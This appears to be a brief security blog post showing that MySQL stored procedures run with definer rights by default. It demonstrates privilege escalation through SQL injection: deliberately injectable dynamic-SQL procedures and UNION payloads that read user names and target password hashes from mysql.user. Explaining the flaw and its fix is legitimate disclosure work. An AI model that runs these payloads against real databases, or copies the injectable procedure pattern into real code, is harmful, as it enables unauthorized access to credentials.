MySql Stored Procedures And Functions

Although, a lot has been written about oracle's stored procedure and the weak permissions etc. I looked into the same issues for mysql and it turned out that mysql suffers from the same flaws/features. The only difference is that mysql does not come with any default stored procedure.

Like oracle, mysql stored procedure(and functions) are by default, run as definer and not as invoker. One needs to explicitly provide "sql security invoker" directive in stored procedure(and functions) to make it run as invoker. This obviously means that if you find a stored procedure in mysql created by a more privileged user(and it is vulnerable to sql injection) and you have the execute privileges you should be able to escalate permissions. The following demonstrate it:

----------------------
(running as test user)
CREATE PROCEDURE sp_test (input varchar(100))
begin
set @id = input;
SET @sql_text = concat('SELECT text FROM test_tbl where id=',@id);
PREPARE stmt FROM @sql_text;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
end

(running as root user)
CREATE PROCEDURE sp_root (input varchar(100))
begin
set @id = input;
SET @sql_text = concat('SELECT text FROM test_tbl where id=',@id);
PREPARE stmt FROM @sql_text;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
end


mysql> select user();
+----------------+
| user() |
+----------------+
| test@localhost | +----------------+
1 row in set (0.00 sec)

mysql> select user from mysql.user;
ERROR 1142 (42000): SELECT command denied to user 'test'@'localhost' for table 'user'

mysql> call sp_test('1 union all select concat(user,password) from mysql.user');
ERROR 1142 (42000): SELECT command denied to user 'test'@'localhost' for table 'user'

mysql> call sp_root('-1 union all select user from mysql.user');

+-----------------------------------------------------------+
| text |
+-----------------------------------------------------------+
| mysql |
| root |
| test |
| debian-sys-maint |
| root |

5 rows in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Reference: http://dev.mysql.com/doc/refman/5.0/en/create-procedure.html
Sid